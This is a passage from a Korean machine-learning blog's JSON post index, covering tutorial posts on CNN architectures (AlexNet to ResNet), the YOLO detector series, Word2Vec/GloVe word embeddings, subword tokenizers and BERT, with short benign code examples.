곱한다.\nGPU 병렬 학습: 두 개의 GTX 580 GPU를 사용해 모델을 나눠 학습했다. 당시로서는 대규모였던 6,000만 파라미터를 현실적인 시간 안에 학습할 수 있었다.\nVGGNet (2014) Oxford의 Simonyan과 Zisserman이 발표했다. AlexNet의 11×11, 5×5 큰 필터 대신 3×3 필터만 사용한다는 단순한 원칙을 따른다.\n3×3 필터 두 개를 쌓으면 5×5 필터와 같은 수용 영역(receptive field)을 갖지만 파라미터 수는 더 적다. 3×3 세 개를 쌓으면 7×7과 동일한 수용 영역에 파라미터는 3×(3×3) = 27 vs 7×7 = 49로 절반이다.\n네트워크를 16~19개 레이어로 깊게 만들어 성능을 높였다. 구조가 단순하고 이해하기 쉬워 이후 연구의 기준선으로 오래 사용됐다.\n단점은 1억 3,800만 개 파라미터로 메모리 사용량이 많다는 것이다.\nGoogLeNet / Inception (2014) Google이 발표했다. VGGNet과 같은 해에 ImageNet에서 더 좋은 성능을 냈지만 파라미터는 1/12 수준(500만 개)이었다.\n핵심 아이디어는 Inception 모듈이다. 1×1, 3×3, 5×5 합성곱을 병렬로 적용해 다양한 스케일의 특징을 동시에 포착한다.\n입력 ├→ 1×1 conv ├→ 1×1 conv → 3×3 conv ├→ 1×1 conv → 5×5 conv └→ 3×3 max pool → 1×1 conv ↓ Concat 1×1 합성곱은 채널 수를 줄이는 역할(bottleneck)을 한다. 3×3이나 5×5 합성곱 전에 채널을 먼저 줄여 연산량을 크게 절약한다.\nResNet (2015) Microsoft Research의 He 등이 발표했다. 152개 레이어로 당시 인간 수준(5%)을 넘어선 3.57% 오류율을 달성했다.\n문제: 깊을수록 오히려 나빠진다\n네트워크를 단순히 더 깊게 쌓으면 성능이 오히려 떨어진다. 기울기 소실 문제뿐 아니라 최적화 문제도 있었다. 20층 네트워크보다 56층 네트워크의 학습 오류가 더 높게 나타났다.\n해결: 잔차 연결 (Residual Connection)\n레이어가 입력을 그대로 출력에 더하는 지름길(shortcut)을 추가한다.\n일반 레이어: H(x) = F(x) 잔차 레이어: H(x) = F(x) + x 레이어가 학습해야 하는 것이 H(x)에서 F(x) = H(x) - x로 바뀐다. 즉 입력 대비 얼마나 변화해야 하는지(잔차, residual)만 학습하면 된다. 아무것도 학습하지 않아도 F(x) = 0이면 입력이 그대로 통과한다.\n# ResNet 블록 개념 class ResidualBlock(nn.Module): def forward(self, x): residual = x out = self.conv1(x) out = self.bn1(out) out = self.relu(out) out = self.conv2(out) out = self.bn2(out) out += residual # 잔차 연결 out = self.relu(out) return out 기울기가 역전파될 때 잔차 연결을 통해 직접 흐를 수 있어 깊은 네트워크에서도 초기 레이어까지 기울기가 전달된다.\n잔차 연결은 이후 트랜스포머의 Add \u0026amp; Norm 레이어에도 그대로 사용됐다. \u0026ldquo;Attention Is All You Need\u0026quot;에서 각 서브레이어 후에 LayerNorm(x + SubLayer(x))를 쓰는 것이 같은 개념이다.\n발전 흐름 요약 모델 연도 레이어 핵심 기여 ImageNet 오류율 기존 방식 ~2011 — 수작업 특징 ~26% AlexNet 2012 8 ReLU, Dropout, GPU 15.3% VGGNet 2014 16~19 3×3 필터만, 깊게 7.3% GoogLeNet 2014 22 Inception 모듈, 1×1 병목 6.7% ResNet 2015 152 잔차 연결 3.6% 이후 영향 ResNet의 잔차 연결은 현대 딥러닝의 표준 구성 요소가 됐다. EfficientNet(2019)은 네트워크의 깊이, 너비, 해상도를 균형있게 스케일링하는 방법을 제안해 더 적은 파라미터로 더 높은 성능을 냈다.\nCNN은 2020년 ViT(Vision Transformer)가 등장하기 전까지 컴퓨터 비전의 주류였다. 현재도 모바일 환경이나 실시간 처리가 필요한 태스크에서는 CNN 계열이 더 효율적인 경우가 많다.\n트레이드오프 깊을수록 일반적으로 성능이 좋지만 추론 속도가 느려진다. ResNet-50과 ResNet-152의 정확도 차이는 1~2% 수준이지만 추론 시간은 3배 차이 난다. 엣지 디바이스나 실시간 애플리케이션에서는 MobileNet, ShuffleNet 같은 경량화 모델을 선택한다.\n합성곱 연산은 공간 구조를 가정한다. 이미지에서는 강력하지만 순서 관계나 그래프 구조에는 적합하지 않다. 이 한계가 이후 ViT가 등장한 배경이기도 하다.\n","permalink":"https://charminggroot.github.io/posts/068-cnn-alexnet-resnet/","summary":"2012년 AlexNet이 ImageNet 대회에서 압도적인 성능을 보이며 딥러닝 시대를 열었다. 이후 VGGNet, GoogLeNet, ResNet으로 이어지는 CNN 발전사를 다룬다. 각 모델이 해결하려 했던 문제와 핵심 기여를 중심으로 설명한다.","title":"068. AlexNet → ResNet — CNN과 딥러닝 르네상스"},{"content":"객체 탐지(Object Detection)는 이미지에서 물체의 위치(bounding box)와 종류(class)를 동시에 찾는 태스크다. 분류(Classification)가 \u0026ldquo;이 이미지는 고양이다\u0026quot;라면, 탐지는 \u0026ldquo;이 이미지의 이 위치에 고양이가 있고, 저 위치에 개가 있다\u0026quot;다.\nYOLO 이전: 2단계 탐지기 YOLO 이전의 주류는 R-CNN 계열이었다. 두 단계로 나뉜다.\nRegion Proposal: 객체가 있을 것 같은 후보 영역을 수백~수천 개 추출한다 Classification: 각 후보 영역을 CNN에 통과시켜 분류한다 Faster R-CNN은 당시 최고 성능이었지만 초당 7프레임(fps) 수준이었다. 실시간 처리(30fps 이상)에는 쓸 수 없었다.\nYOLO v1 (2015) Joseph Redmon, Santosh Divvala, Ross Girshick, Ali Farhadi가 발표했다. 제목 그대로 \u0026ldquo;한 번만 본다(You Only Look Once)\u0026rdquo;.\n핵심 아이디어: 그리드 기반 단일 패스\n이미지를 S×S 그리드로 나눈다(v1에서 S=7). 각 그리드 셀이 자신의 영역에 있는 객체를 책임진다.\n각 셀은 B개의 바운딩 박스(bounding box)를 예측한다. 각 바운딩 박스는 5개 값을 출력한다.\n(x, y, w, h, confidence) x, y: 그리드 셀 내 박스 중심 좌표 (0~1 상대값) w, h: 전체 이미지 대비 박스 너비/높이 confidence: 박스에 객체가 있을 확률 × IoU 각 셀은 C개 클래스 확률도 출력한다. 최종 출력 텐서는 S×S×(B×5 + C)다. 7×7×(2×5 + 20) = 7×7×30.\n이 전체 예측이 CNN 한 번의 포워드 패스로 나온다. Faster R-CNN이 후보 영역마다 CNN을 실행하는 것과 근본적으로 다르다.\nIoU (Intersection over Union)\n예측 박스와 정답 박스가 얼마나 겹치는지 측정하는 지표다.\nIoU = 교집합 넓이 / 합집합 넓이 IoU = 1이면 완벽하게 일치, 0이면 전혀 겹치지 않는다. 일반적으로 IoU \u0026gt; 0.5이면 올바른 탐지로 본다.\nNMS (Non-Maximum Suppression)\n같은 객체에 여러 박스가 겹쳐 예측될 때 가장 신뢰도 높은 것만 남기는 후처리다.\n1. 신뢰도 순으로 정렬 2. 가장 높은 박스 선택 3. 선택된 박스와 IoU \u0026gt; 임계값인 박스 제거 4. 남은 박스 중 다음 최고 신뢰도 선택 5. 반복 성능: 45fps, mAP(mean Average Precision) 63.4%. Faster R-CNN(mAP 73.2%, 7fps)과 비교하면 속도는 압도적이고 정확도는 낮았다. 작은 객체 탐지가 약했다.\nYOLO v2 / YOLO9000 (2016) Anchor Box 도입: v1은 박스 크기를 처음부터 예측했다. v2는 사전에 정의한 앵커 박스(anchor box) 크기를 기준으로 오프셋만 예측한다. 학습 데이터에서 k-means 클러스터링으로 자주 등장하는 박스 크기를 앵커로 설정한다.\n앵커 박스 예시 (COCO 데이터셋): - 가로로 긴 형태 (자동차, 버스) - 세로로 긴 형태 (사람, 기둥) - 정사각형에 가까운 형태 (얼굴, 공) Batch Normalization: 각 레이어 출력을 정규화해 학습을 안정화하고 드롭아웃 없이도 과적합을 방지한다.\nYOLO9000: ImageNet의 9,000개 클래스와 COCO 탐지 데이터를 동시에 학습해 탐지 데이터가 없는 클래스도 탐지할 수 있었다. WordNet 계층 구조로 클래스 간 관계를 활용했다.\nYOLO v3 (2018) 다중 스케일 예측 (Multi-Scale Prediction): 세 가지 해상도에서 동시에 예측한다. 큰 해상도는 작은 객체를, 작은 해상도는 큰 객체를 잘 탐지한다.\n13×13 — 큰 객체 (3개 앵커) 26×26 — 중간 객체 (3개 앵커) 52×52 — 작은 객체 (3개 앵커) 이 구조를 FPN(Feature Pyramid Network)이라고 한다. 깊은 레이어의 의미론적 특징과 얕은 레이어의 세밀한 공간 정보를 결합한다.\nDarknet-53 백본: ResNet의 잔차 연결을 적용한 53개 레이어 CNN을 백본으로 사용한다.\n소프트맥스 대신 시그모이드: 클래스 예측에 소프트맥스(합이 1) 대신 시그모이드(각 클래스 독립)를 사용해 멀티레이블 탐지가 가능해졌다. 한 객체가 \u0026ldquo;사람\u0026quot;이면서 \u0026ldquo;운동선수\u0026quot;일 수 있다.\nmAP 33.0% (COCO), 51ms. Faster R-CNN과 비슷한 정확도에 3배 빠른 속도였다.\nYOLO v4 (2020) Redmon이 군사 응용과 개인정보 침해 우려를 이유로 연구를 중단한 후, Alexey Bochkovskiy 등이 발표했다.\n다양한 기법을 체계적으로 실험해 최적 조합을 찾는 접근이었다. \u0026ldquo;Bag of Freebies\u0026rdquo;(학습 시간만 늘리는 기법)와 \u0026ldquo;Bag of Specials\u0026rdquo;(추론 비용을 조금 늘리되 성능을 크게 높이는 기법)로 나눠 분류했다.\n주요 기법\nMosaic Augmentation: 4개 이미지를 하나로 합쳐 배경 다양성을 높이고 배치 사이즈를 줄여도 다양한 컨텍스트를 학습 CIoU Loss: 단순 IoU 손실 대신 박스 중심 거리, 가로세로 비율까지 고려한 손실 함수 CSPNet 백본: 기울기 흐름을 개선해 학습 효율을 높인 연결 구조 YOLO v5 ~ v11 v4 이후 공식 계보가 없어지며 여러 팀이 독립적으로 발전시켰다.\nYOLOv5 (Ultralytics, 2020): 공식 논문 없이 GitHub 코드로만 발표됐다. PyTorch 기반, 사용하기 쉬운 API, 빠른 학습으로 폭발적인 인기를 얻었다. \u0026ldquo;공식\u0026rdquo; YOLO가 아니라는 논란이 있었지만 사실상 업계 표준이 됐다.\nYOLOv8 (Ultralytics, 2023): 앵커 프리(anchor-free) 방식을 도입했다. 앵커 박스를 사전 정의할 필요 없이 박스 중심점과 크기를 직접 예측한다. 탐지뿐 아니라 세그멘테이션, 포즈 추정, 분류를 모두 지원하는 통합 프레임워크가 됐다.\nYOLOv10 (Tsinghua, 2024): NMS를 제거한 End-to-End 탐지. 기존 YOLO는 NMS라는 후처리가 필수였는데, 이중 할당(dual assignment) 학습으로 NMS 없이도 중복 박스를 제거한다. 추론 지연이 줄어든다.\n실용적인 사용 from ultralytics import YOLO model = YOLO(\u0026#39;yolov8n.pt\u0026#39;) # n=nano, s=small, m=medium, l=large, x=xlarge results = model(\u0026#39;image.jpg\u0026#39;) for result in results: boxes = result.boxes # 바운딩 박스 masks = result.masks # 세그멘테이션 마스크 (세그 모델일 때) keypoints = result.keypoints # 포즈 키포인트 (포즈 모델일 때) result.show() # 시각화 result.save(\u0026#39;output.jpg\u0026#39;) 모델 크기별 트레이드오프:\n모델 파라미터 mAP 추론(ms) YOLOv8n 3.2M 37.3 0.8 YOLOv8s 11.2M 44.9 1.1 YOLOv8m 25.9M 50.2 1.8 YOLOv8l 43.7M 52.9 2.3 YOLOv8x 68.2M 53.9 3.5 트레이드오프 YOLO 계열은 속도를 위해 정확도를 일부 포기한다. 특히 작고 밀집된 객체 탐지가 약하다. 군중 속 사람 수 세기, 드론 영상의 작은 객체 탐지 같은 태스크에서는 2단계 탐지기나 전용 모델이 더 적합하다.\n앵커 기반 모델은 데이터셋에 맞는 앵커 크기를 튜닝해야 한다. COCO로 학습된 앵커가 의료 영상이나 위성 영상에서는 맞지 않아 재학습이 필요하다. 앵커 프리 모델(v10 이후)이 이 문제를 일부 완화한다.\n","permalink":"https://charminggroot.github.io/posts/069-yolo/","summary":"YOLO(You Only Look Once)는 2015년 Joseph Redmon이 제안한 단일 패스 객체 탐지 모델이다. 이미지를 한 번만 보고 모든 객체의 위치와 클래스를 동시에 예측한다. 이전 방식 대비 수십 배 빠른 추론 속도로 실시간 탐지를 가능하게 했다. v1부터 현재 v11까지의 발전 흐름을 다룬다.","title":"069. YOLO 계보 — 실시간 객체 탐지의 발전"},{"content":"BERT와 Sentence Transformers 이전, 텍스트를 벡터로 바꾸는 방법은 단순했다. 단어 하나에 정수 인덱스를 부여하거나, 전체 어휘 크기의 원-핫 벡터(one-hot vector)를 사용했다. 원-핫 벡터에서 \u0026ldquo;고양이\u0026quot;와 \u0026ldquo;강아지\u0026quot;는 완전히 직교하는 벡터다. 두 단어가 의미적으로 가깝다는 정보가 전혀 없다.\n분포 가설(Distributional Hypothesis)은 다르게 말한다. \u0026ldquo;같은 맥락에서 등장하는 단어는 비슷한 의미를 갖는다.\u0026rdquo; \u0026ldquo;나는 오늘 사과를 먹었다\u0026quot;와 \u0026ldquo;나는 오늘 배를 먹었다\u0026quot;에서 사과와 배는 같은 위치에 등장한다. 이 맥락 정보를 학습하면 두 단어가 비슷한 벡터를 갖게 된다.\nWord2Vec (2013) Google의 Tomas Mikolov 등이 발표했다. 두 가지 학습 방식을 제안했다.\nSkip-gram 중심 단어가 주어졌을 때 주변 단어를 예측한다.\n문장: \u0026#34;나는 오늘 맛있는 사과를 먹었다\u0026#34; 윈도우 크기 = 2 중심 단어 \u0026#34;사과\u0026#34; → 예측 대상: [오늘, 맛있는, 를, 먹었다] 중심 단어 \u0026#34;먹었다\u0026#34; → 예측 대상: [맛있는, 사과를, .] 신경망은 단순하다. 입력층(원-핫 벡터) → 은닉층(임베딩 벡터) → 출력층(소프트맥스). 은닉층의 가중치 행렬이 곧 단어 임베딩이다.\n학습이 끝나면 은닉층 가중치를 추출해 단어 벡터로 사용한다. 이 벡터가 Word2Vec 임베딩이다.\nCBOW (Continuous Bag of Words) Skip-gram의 반대다. 주변 단어들이 주어졌을 때 중심 단어를 예측한다. Skip-gram보다 학습이 빠르지만 희귀 단어에서 성능이 낮다.\n[오늘, 맛있는, 를, 먹었다] → \u0026#34;사과\u0026#34; 예측 Negative Sampling 소프트맥스는 전체 어휘에 대해 계산하므로 어휘가 수십만 개면 연산이 느리다. Negative Sampling은 정답 단어와 랜덤하게 뽑은 소수의 오답 단어만 비교한다. 어휘 전체를 보지 않고 이진 분류(정답 단어인가 아닌가)로 단순화한다. 학습 속도가 수십 배 빨라진다.\n의미 연산 학습된 벡터에서 가장 유명한 발견이다.\nvec(\u0026#34;왕\u0026#34;) - vec(\u0026#34;남자\u0026#34;) + vec(\u0026#34;여자\u0026#34;) ≈ vec(\u0026#34;여왕\u0026#34;) vec(\u0026#34;파리\u0026#34;) - vec(\u0026#34;프랑스\u0026#34;) + vec(\u0026#34;한국\u0026#34;) ≈ vec(\u0026#34;서울\u0026#34;) 벡터 공간에서 단어 간 관계가 방향으로 인코딩된다. 성별, 국가-수도, 시제 같은 관계가 일관된 방향으로 표현된다. 이것이 단어 임베딩이 단순한 인덱스와 다른 핵심이다.\nfrom gensim.models import Word2Vec # 학습 sentences = [[\u0026#34;나는\u0026#34;, \u0026#34;사과를\u0026#34;, \u0026#34;먹었다\u0026#34;], [\u0026#34;그는\u0026#34;, \u0026#34;배를\u0026#34;, \u0026#34;좋아한다\u0026#34;]] model = Word2Vec(sentences, vector_size=100, window=5, min_count=1) # 유사 단어 검색 model.wv.most_similar(\u0026#34;사과\u0026#34;) # 벡터 연산 model.wv.most_similar(positive=[\u0026#34;왕\u0026#34;, \u0026#34;여자\u0026#34;], negative=[\u0026#34;남자\u0026#34;]) GloVe (2014) Stanford의 Pennington, Socher, Manning이 발표했다. Global Vectors for Word Representation의 약자다.\nWord2Vec은 로컬 맥락(윈도우 내 단어)만 본다. GloVe는 전체 말뭉치에서 단어 쌍이 얼마나 자주 함께 등장하는지(동시 출현 행렬, co-occurrence matrix)를 먼저 만들고, 이 전역 통계를 압축하는 벡터를 학습한다.\n동시 출현 행렬\n나는 사과 배 먹었다 좋아한다 나는 0 2 1 2 1 사과 2 0 0 2 0 배 1 0 0 0 2 먹었다 2 2 0 0 0 좋아한다 1 0 2 0 0 X_ij = 단어 i의 맥락에서 단어 j가 등장한 횟수.\nGloVe의 목표는 두 단어 벡터의 내적이 동시 출현 횟수의 로그에 근사하도록 학습하는 것이다.\nw_i · w_j + b_i + b_j ≈ log(X_ij) 전역 통계를 활용하므로 희귀 단어와 고빈도 단어 모두에서 안정적인 성능을 보인다.\nWord2Vec vs GloVe 항목 Word2Vec GloVe 학습 방식 로컬 윈도우, 온라인 전역 동시 출현 행렬 메모리 적음 행렬 저장 필요 대형 말뭉치 효율적 행렬 크기가 문제 성능 비슷 비슷 실무에서는 둘 다 비슷하게 쓰였다. 사전 학습된 벡터(Wikipedia, Google News 등으로 학습)를 다운로드해 사용하는 것이 일반적이었다.\nFastText (2016) Facebook이 발표한 Word2Vec의 확장이다. 단어 전체 대신 n-gram 문자 단위로 임베딩한다.\n\u0026#34;eating\u0026#34; → [\u0026#34;eat\u0026#34;, \u0026#34;ati\u0026#34;, \u0026#34;tin\u0026#34;, \u0026#34;ing\u0026#34;, \u0026#34;\u0026lt;ea\u0026#34;, \u0026#34;ng\u0026gt;\u0026#34;, ...] 단어 벡터 = n-gram 벡터들의 합 이 접근의 장점은 두 가지다. 학습 데이터에 없는 단어(OOV, Out-Of-Vocabulary)도 문자 n-gram으로 벡터를 만들 수 있다. 형태소가 풍부한 언어(한국어, 터키어 등)에서 어간이 같은 단어들이 비슷한 벡터를 갖는다.\n\u0026#34;먹다\u0026#34;, \u0026#34;먹었다\u0026#34;, \u0026#34;먹을\u0026#34;, \u0026#34;먹고\u0026#34; → 모두 \u0026#34;먹\u0026#34; n-gram 공유 → 비슷한 벡터 한계와 BERT로의 전환 Word2Vec과 GloVe는 단어 하나에 벡터 하나다. \u0026ldquo;배\u0026quot;라는 단어는 과일(배), 신체(배), 교통수단(배) 중 어느 뜻이든 같은 벡터를 갖는다. 문맥에 따라 의미가 달라지는 다의어를 표현할 수 없다.\n또한 문장 전체의 의미를 하나의 벡터로 표현하지 못한다. 문장 내 단어 벡터를 평균내는 방식을 쓰지만, 어순과 문법 정보가 사라진다.\n이 두 한계를 해결한 것이 ELMo(2018)와 BERT(2018)다. ELMo는 같은 단어라도 문맥에 따라 다른 임베딩을 부여하는 문맥 의존 임베딩(contextual embedding)을 처음 선보였고, BERT가 이를 트랜스포머 기반으로 완성했다.\n트레이드오프 Word2Vec 임베딩은 가볍고 빠르다. 100차원 벡터로도 충분히 의미 관계를 포착한다. BERT 계열이 수백 배 더 크고 느린 것을 고려하면, 리소스가 제한적이거나 단순 유사도 계산이 목적이라면 Word2Vec이 여전히 실용적인 선택이다.\n그러나 문장 수준의 이해가 필요하거나 다의어 처리가 중요하면 단어 임베딩만으로는 부족하다. 현대 NLP 파이프라인에서 Word2Vec은 사전처리나 가벼운 피처 추출에 남아있고, 주요 태스크는 문맥 임베딩 모델이 담당한다.\n","permalink":"https://charminggroot.github.io/posts/070-word2vec-glove/","summary":"Word2Vec(2013)은 단어를 고밀도 벡터로 표현하는 방법을 제안했다. 비슷한 맥락에서 등장하는 단어는 비슷한 벡터를 갖는다는 분포 가설을 기반으로, 신경망으로 단어 간 의미 관계를 학습한다. GloVe는 전체 말뭉치의 동시 출현 통계를 활용해 같은 목표를 다른 방식으로 달성했다.","title":"070. Word2Vec / GloVe — 단어 임베딩의 시작"},{"content":"모델은 텍스트를 직접 읽지 못한다. 숫자 시퀀스로 변환해야 한다. 토크나이저(tokenizer)는 텍스트를 토큰으로 쪼개고, 각 토큰에 정수 ID를 부여한다.\n어떻게 쪼개느냐가 모델 성능에 직접 영향을 준다.\n단어 단위 토크나이징의 문제 공백 기준으로 단어를 나누는 가장 단순한 방법이다.\n\u0026#34;나는 사과를 먹었다\u0026#34; → [\u0026#34;나는\u0026#34;, \u0026#34;사과를\u0026#34;, \u0026#34;먹었다\u0026#34;] 두 가지 문제가 있다.\n어휘 크기 폭발: 영어만 해도 단어 변형이 수십만 가지다. \u0026ldquo;run\u0026rdquo;, \u0026ldquo;runs\u0026rdquo;, \u0026ldquo;running\u0026rdquo;, \u0026ldquo;ran\u0026quot;이 모두 다른 토큰이 된다. 어휘 크기가 커질수록 임베딩 테이블이 커지고 메모리가 늘어난다.\n미등록 단어(OOV): 학습 데이터에 없는 단어가 추론 시 등장하면 [UNK] 토큰으로 처리한다. 고유명사, 신조어, 오타가 모두 같은 토큰이 된다.\n문자 단위 토크나이징의 문제 반대로 모든 문자를 개별 토큰으로 쪼개면 OOV 문제는 없어진다. 어휘 크기도 수백 개로 작다.\n그러나 \u0026ldquo;나는 사과를 먹었다\u0026quot;가 17개 토큰이 된다. 시퀀스가 길어질수록 어텐션 연산량이 O(n²)으로 증가하고, 의미 있는 단위를 학습하기 어렵다.\n서브워드 토크나이징 두 극단의 중간이다. 자주 등장하는 단어는 통째로, 희귀한 단어는 더 작은 단위로 쪼갠다.\n\u0026#34;unhappiness\u0026#34; → [\u0026#34;un\u0026#34;, \u0026#34;##happiness\u0026#34;] \u0026#34;tokenization\u0026#34; → [\u0026#34;token\u0026#34;, \u0026#34;##ization\u0026#34;] \u0026#34;GPT4\u0026#34; → [\u0026#34;G\u0026#34;, \u0026#34;PT\u0026#34;, \u0026#34;4\u0026#34;] ← 처음 보는 단어도 처리 가능 BPE (Byte Pair Encoding) OpenAI GPT 계열이 사용한다. 원래 데이터 압축 알고리즘에서 가져왔다.\n학습 과정\n모든 단어를 문자 단위로 분리한다 가장 자주 등장하는 인접 토큰 쌍을 찾아 병합한다 어휘 크기가 목표에 도달할 때까지 반복한다 초기: l o w e r → 5토큰 병합 1: lo w e r (lo가 가장 빈번) 병합 2: low e r 병합 3: lower (어휘에 추가) 어휘 크기를 하이퍼파라미터로 설정한다. GPT-2는 50,257개, GPT-4는 100,277개를 사용한다.\nWordPiece Google BERT가 사용한다. BPE와 유사하지만 병합 기준이 다르다. 단순 빈도 대신 **언어 모델 우도(likelihood)**를 최대화하는 쌍을 병합한다.\n두 토큰 A, B를 병합했을 때 언어 모델 우도가 가장 많이 오르는 쌍 선택 score(A, B) = freq(AB) / (freq(A) × freq(B)) BPE와 달리 서브워드 접두사에 ##를 붙여 단어 내부 토큰을 표시한다.\n\u0026#34;playing\u0026#34; → [\u0026#34;play\u0026#34;, \u0026#34;##ing\u0026#34;] \u0026#34;##ing\u0026#34;은 단어 시작이 아님을 표시 SentencePiece Google이 개발한 언어 독립적 토크나이저다. 공백을 특수 문자(▁)로 처리해 언어에 관계없이 동작한다. 한국어처럼 공백 기준 단어 분리가 맞지 않는 언어에 유리하다.\nBPE 또는 Unigram 언어 모델 두 가지 알고리즘을 지원한다. T5, LLaMA, Gemma 등이 사용한다.\n\u0026#34;나는 사과를\u0026#34; → [\u0026#34;▁나는\u0026#34;, \u0026#34;▁사과를\u0026#34;] 공백이 토큰 시작 마커가 된다 Byte-level BPE GPT-2부터 도입됐다. 문자 대신 바이트(0~255)를 기본 단위로 시작한다. 어떤 언어든, 어떤 특수문자든, 이모지든 256개 기본 단위로 처리할 수 있다. 진정한 의미의 OOV가 없다.\n특수 토큰 모델마다 다르지만 공통적으로 쓰이는 특수 토큰이 있다.\n토큰 용도 [CLS] BERT 문장 시작, 분류 태스크에 사용 [SEP] BERT 문장 구분자 [PAD] 배치 내 시퀀스 길이 맞추기 [UNK] 미등록 단어 \u0026lt;s\u0026gt; / \u0026lt;/s\u0026gt; 문장 시작/끝 (GPT 계열) \u0026lt;|endoftext|\u0026gt; GPT 문서 구분 토큰 수와 비용 LLM API는 토큰 수 기준으로 과금한다. 같은 텍스트라도 언어마다 토큰 수가 크게 다르다.\n영어 \u0026ldquo;Hello, how are you?\u0026rdquo; = 6토큰\n한국어 \u0026ldquo;안녕하세요, 잘 지내세요?\u0026rdquo; = 11토큰\n영어 기반 BPE 모델은 한국어에서 토큰 효율이 낮다. 한 글자가 여러 바이트로 인코딩되거나 의미 있는 서브워드 단위로 병합이 덜 일어나기 때문이다. 다국어 모델(GPT-4o, Claude 등)은 한국어 토큰 효율을 높이도록 어휘를 구성한다.\n트레이드오프 어휘 크기가 클수록 토큰당 더 많은 정보를 담아 시퀀스가 짧아진다. 그러나 임베딩 테이블과 출력 레이어 크기가 커진다. 50K 어휘와 100K 어휘의 모델은 임베딩 레이어 크기만 2배 차이 난다.\n토크나이저는 모델 아키텍처와 함께 고정된다. 같은 모델이라도 다른 토크나이저를 쓰면 임베딩이 맞지 않아 재학습이 필요하다. 파인튜닝 시 원래 모델의 토크나이저를 그대로 사용해야 하는 이유다.\n","permalink":"https://charminggroot.github.io/posts/071-tokenizer/","summary":"토크나이저는 텍스트를 모델이 처리할 수 있는 토큰 시퀀스로 변환한다. 단어 단위 분리는 미등록 단어 문제가 있고, 문자 단위는 시퀀스가 너무 길어진다. BPE와 WordPiece는 자주 등장하는 문자 조합을 병합해 두 문제를 동시에 해결하는 서브워드 토크나이저다.","title":"071. 토크나이저 — BPE, WordPiece, SentencePiece"},{"content":"Word2Vec은 단어 하나에 벡터 하나다. \u0026ldquo;배\u0026quot;는 과일이든 신체 부위든 교통수단이든 항상 같은 벡터다. 문맥이 없다.\n2018년 Google의 Devlin 등이 발표한 BERT(Bidirectional Encoder Representations from Transformers)는 이 한계를 해결했다. 같은 단어라도 문맥에 따라 다른 벡터를 생성한다. \u0026ldquo;배가 고프다\u0026quot;의 배와 \u0026ldquo;배를 타다\u0026quot;의 배가 다른 임베딩을 갖는다.\n핵심 아이디어: 양방향성 GPT(2018)도 트랜스포머 기반이었지만 왼쪽에서 오른쪽으로만 읽는 단방향(left-to-right) 모델이었다. \u0026ldquo;나는 [MASK]를 먹었다\u0026quot;에서 [MASK]를 예측할 때 \u0026ldquo;먹었다\u0026quot;를 보지 못한다.\nBERT는 양방향으로 문맥을 본다. [MASK] 앞뒤 모든 단어를 참조한다. 트랜스포머 인코더의 셀프 어텐션이 모든 위치를 동시에 본다는 특성을 그대로 활용한다.\n사전학습 태스크 대규모 텍스트(Wikipedia + BookCorpus, 33억 단어)에서 레이블 없이 두 가지 태스크로 학습한다.\nMLM (Masked Language Model) 입력 토큰의 15%를 랜덤하게 마스킹하고 원래 토큰을 예측한다.\n원문: 나는 오늘 [MASK]를 먹었다 정답: 사과 마스킹 전략이 단순하지 않다. 15% 중에서:\n80%는 [MASK]로 교체 10%는 랜덤 단어로 교체 10%는 원래 단어 유지 랜덤 교체와 원본 유지를 섞는 이유는 파인튜닝 시 [MASK] 토큰이 등장하지 않는 불일치를 완화하기 위해서다. 모델이 어떤 토큰이든 문맥을 보고 표현을 만들도록 강제한다.\nNSP (Next Sentence Prediction) 두 문장 A, B가 주어졌을 때 B가 A 다음 문장인지 예측한다.\n[CLS] 나는 사과를 먹었다 [SEP] 맛있었다 [SEP] → IsNext [CLS] 나는 사과를 먹었다 [SEP] 하늘이 파랗다 [SEP] → NotNext 50%는 실제 연속 문장, 50%는 랜덤 문장 쌍으로 학습한다. 문장 간 관계를 이해하는 능력을 학습한다.\nNSP는 이후 연구(RoBERTa)에서 실제 효과가 미미하거나 오히려 해롭다는 것이 밝혀졌다.\n입력 표현 BERT의 입력은 세 가지 임베딩의 합이다.\n입력 = Token Embedding + Segment Embedding + Position Embedding Token: 각 토큰의 임베딩 벡터 Segment: 문장 A인지 B인지 (0 또는 1) Position: 시퀀스 내 위치 (학습 가능한 임베딩) 시작에 [CLS], 문장 경계마다 [SEP]를 추가한다.\n[CLS] 토큰 A1 A2 [SEP] 토큰 B1 B2 [SEP] [CLS] 토큰의 최종 출력 벡터가 문장 전체의 표현으로 사용된다. 분류 태스크에서 이 벡터 위에 선형 레이어를 얹어 파인튜닝한다.\n모델 크기 모델 레이어 히든 크기 헤드 수 파라미터 BERT-base 12 768 12 110M BERT-large 24 1024 16 340M 파인튜닝 사전학습된 BERT에 태스크별 레이어를 추가하고 전체를 함께 파인튜닝한다. 소량의 레이블 데이터로도 좋은 성능이 나온다.\n문장 분류: [CLS] 벡터 → 선형 레이어 → 클래스 개체명 인식: 각 토큰 벡터 → 선형 레이어 → BIO 태그 질의응답: 각 토큰 벡터 → 시작/끝 위치 예측 문장 유사도: 두 문장 → [CLS] 벡터 → 유사도 점수 from transformers import BertTokenizer, BertForSequenceClassification import torch tokenizer = BertTokenizer.from_pretrained(\u0026#39;bert-base-uncased\u0026#39;) model = BertForSequenceClassification.from_pretrained(\u0026#39;bert-base-uncased\u0026#39;, num_labels=2) inputs = tokenizer(\u0026#34;I love this movie!\u0026#34;, return_tensors=\u0026#34;pt\u0026#34;) outputs = model(**inputs) logits = outputs.logits 문맥 의존 임베딩 BERT의 각 레이어 출력이 임베딩이다. 같은 단어라도 문맥에 따라 다른 벡터를 갖는다.\n\u0026#34;나는 배가 고프다\u0026#34; → \u0026#34;배\u0026#34; = 신체 부위 임베딩 \u0026#34;나는 배를 타다\u0026#34; → \u0026#34;배\u0026#34; = 교통수단 임베딩 \u0026#34;나는 배를 먹었다\u0026#34; → \u0026#34;배\u0026#34; = 과일 임베딩 레이어마다 다른 수준의 정보를 담는다. 초기 레이어는 품사나 구문 정보, 후반 레이어는 의미론적 정보에 특화된다. 태스크에 따라 특정 레이어의 출력을 사용하거나 여러 레이어를 가중합한다.\nBERT의 한계 최대 시퀀스 길이가 512 토큰이다. 긴 문서를 처리하려면 잘라야 한다.\n[MASK] 토큰이 사전학습 시에만 등장하고 파인튜닝 시에는 없는 불일치(pretrain-finetune discrepancy)가 있다.\nMLM은 전체 토큰의 15%만 예측하므로 GPT의 자기회귀 방식보다 학습 효율이 낮다. 각 스텝에서 전체 시퀀스를 처리하지만 손실은 15%에서만 발생한다.\n텍스트 생성에 적합하지 않다. 인코더 구조라 다음 토큰을 예측하는 자기회귀 생성을 할 수 없다. 분류, 추출, 이해 태스크에 강점이 